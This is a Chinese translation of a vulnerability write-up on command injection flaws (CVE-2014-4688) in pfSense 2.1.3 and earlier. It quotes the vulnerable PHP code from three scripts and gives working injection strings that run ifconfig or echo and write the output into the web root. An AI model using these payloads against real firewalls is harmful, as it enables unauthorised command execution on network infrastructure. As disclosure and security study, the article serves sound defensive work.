PfSense命令注入漏洞分析

wyzsk發表於2020-08-19
作者: mssp299 · 2015/09/09 14:00

翻譯:mssp299

原文地址:https://www.proteansec.com/linux/pfsense-vulnerabilities-part-2-command-injection/

0x00 導言


在本文中,我們將向大家介紹在PfSense2.1.3以及更低版本中的CVE-2014-4688漏洞;對於更高的版本來說,pfSense已經修復了這個漏洞。

0x01 Diag_dns.php指令碼中的命令注入漏洞


下面展示的是指令碼diag_dns.php中存在命令注入漏洞的程式碼片。我們可以看到,這段程式碼首先檢查POST引數host是否存在,如果存在的話,就將變數$GET的值賦給變數$POST。然後,程式碼繼續檢查GET引數createalias的值是否等於true,如果是的話,則把POST引數host的值的首尾空白符去掉:trim()函式的作用就是去掉字串首尾處的空白符,但是字串中間部分的空白符則保持不變。之後,還有一些其他語句,不過它們並不是我們這裡關注的重點,我們關心的是如何插入在反引號中執行的命令。

/* Cheap hack to support both $_GET and $_POST */
if ($_GET['host'])
$_POST = $_GET;

if($_GET['createalias'] == "true") {
$host = trim($_POST['host']);
if($_GET['override'])
$override = true;
$a_aliases = &$config['aliases']['alias'];
$type = "hostname";
$resolved = gethostbyname($host);
if($resolved) {
$host = trim($_POST['host']);
$dig=`dig "$host" A | grep "$host" | grep -v ";" | awk '{ print 5 }'`;

由於我們可以直接操縱變數$host的值,因此,我們完全可以在注入程式碼的反引號中插入我們想要執行的命令。下面,我們輸入以下內容,讓它作為POST變數host的輸入值:

192.168.1.1";ifconfig>/usr/local/www/temp.txt;echo+"

下面展示的是含有上述輸入字串的HTTP請求,具體如圖所示。

enter image description here

圖1 傳送給伺服器的惡意請求

當上面所示的請求被執行時,Web瀏覽器會顯示如下所示的內容,其中含有一個錯誤資訊,出錯原因是沒有提供有效的主機名。

enter image description here

圖2 錯誤訊息:invalid hostname

我們已經在使用者提供的POST引數host放入了一個特殊字元;,這個字元的作用是分隔多個順序執行的命令。需要注意的是這種情況下,只有當第一條命令返回``(成功返回)的時候,第二條命令才會被執行;因此,只有確保前面的命令全部成功,後面的命令才能得以執行。下面給出一些可以放在反引號中執行的命令:

# dig "192.168.1.1";
# ifconfig>/usr/local/www/temp.txt;
# echo+"" A | grep "192.168.1.1";
# ifconfig>/usr/local/www/temp.txt;
# echo+"" | grep -v ";" | awk '{ print $5 }'

我們會看到,每條命令都會正確執行,其中最重要的命令就是ifconfig了,它已經被注入到了獲得輸出內容的指令碼中了。由於我們無法直接透過響應報文獲得這些命令的輸出結果,所以必須透過管道命令將其輸出到DocumentRoot下的一個檔案中,然後才能透過Web瀏覽器正常訪問。下面展示的是https://pfsense/temp.txt中的部分請求內容。

enter image description here

圖3 生成的temp.txt檔案

前面,我們已經成功地注入了ifconfig命令並得到了其輸出結果,實際上這就意味著我們可以向diag_dns.php指令碼輸入任意命令並能得到其輸出結果。

因此,攻擊者可以注入精心構造的命令,並使其在伺服器上面執行。

0x02 Diag_smart.php指令碼中的命令注入


diag_smart.php指令碼中,含有一個名為update_email的函式,程式碼如下所示。這個函式的作用是編輯smartd.conf檔案,來新增或刪除通知磁碟出錯情況的電子郵件地址。從下面的程式碼可以看到,這個函式帶有一個名為smartmonemailPOST引數。需要注意的是,這個函式會呼叫sed命令,並將引數unescaped直接傳遞給shell_exec函式。

 function update_email($email)
  {
  // Did they pass an email?
  if(!empty($email))
  {
  // Put it in the smartd.conf file
  shell_exec("/usr/bin/sed -i old 's/^DEVICESCAN.*/DEVICESCAN -H -m "
 $email . "/' /usr/local/etc/smartd.conf");
  }
  // Nope
  Else
  {
  // Remove email flags in smartd.conf
  shell_exec("/usr/bin/sed -i old 's/^DEVICESCAN.*/DEVICESCAN/'
usr/local/etc/smartd.conf");
  }
  }
  if($_POST['email'])
  {
  // Write the changes to the smartd.conf file
  update_email($_POST['smartmonemail']);
  }

實際上,上面的程式碼存在一個漏洞,允許我們向shell_exec函式注入任意命令,並執行之。下面的請求為我們展示了一個命令注入示例,它將"Command Injection"反射到/var/local/www/cmd.txt檔案中。

shell_exec函式執行時,實際上下列命令也會隨之執行。

# /usr/bin/sed -i old 's/^DEVICESCAN.*/DEVICESCAN -H -m ejan/'+/usr/local/etc/lynx.cfg;
# echo+"Command+Injection">/usr/local/www/cmd.txt;
# echo+' /' /usr/local/etc/smartd.conf;

在上面的命令中,第一條和第三條命令只是配角,中間那條命令才是我們想要注入的主角。實際上,我們可以利用shell_exec函式注入任意命令。如果使用瀏覽器訪問https://pfsense/cmd.txt就會發現,這個字串實際上已經被儲存到DocumentRoot下的相應檔案中了。

enter image description here

圖4 生成的cmd.txt檔案

換句話說,攻擊者可以注入任意命令,並使其在伺服器上面執行。

0x03 Status_rrd_graph_img.php指令碼中的命令注入漏洞


status_rrd_graph_img.php指令碼中也存在命令注入漏洞,這主要是由於exec()函式的呼叫方式引起的,下面是與此漏洞有關的部分程式碼。

if ($_GET['database']) {
  $curdatabase = basename($_GET['database']);
  } else {
  $curdatabase = "wan-traffic.rrd";
  }


 if(strstr($curdatabase, "queues")) {
  log_error(sprintf(gettext("failed to create graph from %s%s,
emoving database"),$rrddbpath,$curdatabase));
  exec("/bin/rm -f $rrddbpath$curif$queues");
  Flush();
  Usleep(500);
  enable_rrd_graphing();
  }
  if(strstr($curdatabase, "queuesdrop")) {
  log_error(sprintf(gettext("failed to create graph from %s%s,
emoving database"),$rrddbpath,$curdatabase));
  exec("/bin/rm -f $rrddbpath$curdatabase");
  Flush();
  Usleep(500);
  enable_rrd_graphing();
  }

在上述程式碼的開頭部分,會根據GET引數database的設定情況來呼叫basename函式:如果設定了該引數,則利用它來呼叫basename函式;否則就被設為靜態字串wan-traffic.rrd。由於我們想要將程式碼注入到這個指令碼中,所以,我們必須將這個引數設為某個值,因為我們必須這樣做才能繞過basename函式。此外,basename函式需要一個檔案路徑作為其引數,其返回值為路徑中的檔名部分(不包括副檔名),需要說明的是在Linux /BSD(pfSense)中使用正斜槓/來作為路徑分隔符。因此,這個函式返回的內容基本上就是最後一個正斜槓/後面的字串,這一點在注入引數值時必須考慮到,因為最後一個正斜槓前面的內容都會被刪去。 因此,我們可以向GET引數database中注入任意字元,但是正斜槓除外。需要注意的是,我們可以向上面程式碼中的任何一個exec()語句注入命令,這主要取決於利用GET引數databage傳遞的字串——就本例來說,我們使用的是第二個exec()函式呼叫,因為它要更簡單一些。 當上面的底部程式碼被執行的時候,下列命令也會隨之執行。

# /bin/rm -f /var/db/rrd/$curdatabase;

我們可以在這個命令的尾部新增字元;,以便插入其他在rm命令執行結束以後需要執行的命令。需要說明的是,如果我們使用了命令分隔符;的話,那麼只有當rm命令已經成功執行完成之後,後插入的命令才會被執行。如果我們並不關心rm命令的執行結果的話,我們可以使用&&來分隔命令。需要說明的是,我們無法向任意目錄中echo文字,因為這裡不允許使用正斜槓。為了克服這個問題,我們可以先透過cd命令進入預定目錄,然後透過命令管道實現文字傳輸的目的。首先,我們必須搞清楚被執行程式碼的當前目錄,這裡為/var/db/rrd/directory。下面的請求展示了我們是如何執行queues;echo+"CMD+INJECT">cmd.txt命令的。

enter image description here

圖5 執行echo命令的請求

由於當前目錄是/var/db/rrd/,因此,這裡建立的cmd.txt檔案的內容為CMD INJECT,這可以透過顯示該檔案的內容來加以檢驗。

# cat /var/db/rrd/cmd.txt CMD INJECT

為了在PfSense安裝路徑下的DocumentRoot中生成同樣的檔案,我們可以透過三個cd ..命令返回上層目錄,然後切換至 /usr/local/www/ directory目錄,並從這裡執行echo命令。這樣就能夠在/usr/local/www/cmd.txt路徑生成cmd.txt檔案了。

enter image description here

圖6 執行echo命令的請求

由於我們當前位於PfSense Web應用的DocumentRoot目錄中,所以只要在瀏覽器中請求cmd.txt,就能知道是否收到了輸出CMD INJECT了。

enter image description here

圖7 生成的cmd.txt檔案

這個漏洞允許我們在PfSense伺服器上執行任意的程式碼,因此最終會導致這個防火牆形同虛設。 換句話說,攻擊者可以注入任意命令,並使其在伺服器上面執行。

0x04 小結


本文詳細分析了我們在PfSense中發現的一些命令注入漏洞,希望對讀者朋友們有所幫助。

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章